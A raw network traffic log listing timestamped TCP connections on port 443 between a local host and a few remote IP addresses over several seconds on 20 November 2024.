Nov 20, 2024 01:19:00.136476994 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.136600018 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.136672974 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.136672974 CET	50013	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.136687040 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.136696100 CET	443	50013	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.140500069 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.140558004 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.140791893 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.140948057 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.140976906 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.195621967 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.197761059 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.197777033 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.198287010 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.198292971 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.232944965 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.233664036 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.233675957 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.234252930 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.234261990 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.300750971 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.300812006 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.300889969 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.301055908 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.301067114 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.301076889 CET	50018	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.301081896 CET	443	50018	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.304820061 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.304903984 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.304991007 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.305179119 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.305216074 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.343024969 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.343509912 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.343569994 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.343611002 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.343630075 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.343645096 CET	50017	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.343653917 CET	443	50017	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.346360922 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.346385956 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.346445084 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.346584082 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.346596003 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.509835005 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:00.509988070 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:00.510061979 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:00.601692915 CET	49902	443	192.168.2.5	172.217.16.196
Nov 20, 2024 01:19:00.601703882 CET	443	49902	172.217.16.196	192.168.2.5
Nov 20, 2024 01:19:00.768277884 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.769153118 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.769161940 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.769798040 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.769855022 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.769859076 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.770184040 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.770216942 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.770679951 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.770688057 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.797506094 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.797990084 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.798016071 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.798584938 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.798590899 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.870378017 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.870429993 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.870507956 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.870543957 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.870779037 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.870791912 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.870800972 CET	50025	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.870809078 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.870817900 CET	443	50025	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.871149063 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.871555090 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.872004986 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.872575045 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.872586966 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.872598886 CET	50026	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.872603893 CET	443	50026	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.875329018 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.875346899 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.875505924 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.875536919 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.875606060 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.875668049 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.875771046 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.875785112 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.875832081 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.875844955 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.897293091 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.897748947 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.897809982 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.897836924 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.897836924 CET	50027	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.897847891 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.897857904 CET	443	50027	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.899900913 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.899914026 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.899983883 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.900110006 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.900127888 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.949434042 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.949825048 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.949851990 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:00.950263023 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:00.950277090 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.016129017 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.016510963 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.016521931 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.016916990 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.016921997 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.049577951 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.049772978 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.049822092 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.049873114 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.050066948 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.050076962 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.050086021 CET	50032	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.050091028 CET	443	50032	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.053190947 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.053216934 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.053296089 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.053781986 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.053797960 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.118767977 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.119060993 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.119127035 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.119157076 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.119165897 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.119173050 CET	50033	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.119178057 CET	443	50033	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.121820927 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.121860981 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.121941090 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.122064114 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.122076988 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.506457090 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.506992102 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.507009983 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.507600069 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.507606983 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.544822931 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.549925089 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.585885048 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.585896969 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.586612940 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.586616993 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.587253094 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.587258101 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.588009119 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.588012934 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.885099888 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.885133028 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.885189056 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.885212898 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.885263920 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.900245905 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.913964033 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.914140940 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.914218903 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.923743963 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.923835039 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.923911095 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.970721960 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.970738888 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.970757008 CET	50037	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.970763922 CET	443	50037	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.972711086 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.972722054 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.973212957 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.973218918 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.973669052 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.973675013 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.973685980 CET	50038	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.973690033 CET	443	50038	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.974930048 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.974935055 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.974944115 CET	50036	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.974946976 CET	443	50036	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.980113983 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.980165958 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.980235100 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.980669022 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.980686903 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.981220961 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.981251955 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.981358051 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.981473923 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.981486082 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.981688976 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.981702089 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.981753111 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.982605934 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.982620001 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.996766090 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.997162104 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.997198105 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:01.997737885 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:01.997745037 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.072726965 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.072798967 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.072874069 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.073266029 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.073286057 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.073298931 CET	50039	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.073306084 CET	443	50039	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.077869892 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.077893972 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.077965021 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.078155994 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.078167915 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.095446110 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.095839977 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.095940113 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.095998049 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.099843025 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.099867105 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.099879026 CET	50040	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.099886894 CET	443	50040	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.114641905 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.114671946 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.114876986 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.115042925 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.115056992 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.772164106 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.772574902 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.772593975 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.773137093 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.773143053 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.781923056 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.782351971 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.782366037 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.782960892 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.782965899 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.798265934 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.798593044 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.798609972 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.799395084 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.799400091 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.868068933 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.868793964 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.868809938 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.869401932 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.869407892 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.869419098 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.869573116 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.869602919 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.869688034 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.869947910 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.869959116 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.870697021 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.870702028 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.870805979 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.870821953 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.870834112 CET	50044	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.870840073 CET	443	50044	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.873513937 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.873547077 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.874099016 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.874321938 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.874336958 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.881635904 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.881891012 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.882726908 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.889311075 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.889324903 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.889415026 CET	50045	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.889420033 CET	443	50045	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.892266035 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.892299891 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.892589092 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.892786980 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.892800093 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.900794029 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.900857925 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.900954962 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.901011944 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.901365042 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.901376963 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.901385069 CET	50046	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.901388884 CET	443	50046	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.904658079 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.904676914 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.904978037 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.905392885 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.905406952 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.966186047 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.966419935 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.966480017 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.967334986 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.967349052 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.967365980 CET	50048	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.967371941 CET	443	50048	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.969671011 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.969820976 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.969877958 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.969882965 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.970098972 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.970747948 CET	50047	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.970756054 CET	443	50047	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.972680092 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.972712994 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.972803116 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.973536015 CET	50052	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.973550081 CET	443	50052	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.975049973 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.975066900 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:02.975328922 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.975513935 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:02.975527048 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.225043058 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:03.225130081 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:03.225214958 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:03.225871086 CET	50055	443	192.168.2.5	40.113.103.199
Nov 20, 2024 01:19:03.225905895 CET	443	50055	40.113.103.199	192.168.2.5
Nov 20, 2024 01:19:03.524612904 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.525216103 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.525233030 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.525966883 CET	50049	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.525973082 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.541579008 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.542049885 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.542064905 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.542484999 CET	50051	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.542491913 CET	443	50051	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.568984985 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.569437981 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.569472075 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.569974899 CET	50050	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.569981098 CET	443	50050	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.617042065 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.617712975 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.617737055 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.618289948 CET	50053	443	192.168.2.5	13.107.246.45
Nov 20, 2024 01:19:03.618294954 CET	443	50053	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.630768061 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.631531954 CET	443	50049	13.107.246.45	192.168.2.5
Nov 20, 2024 01:19:03.631622076 CET	50049	443	192.168.2.5	13.107.246.45
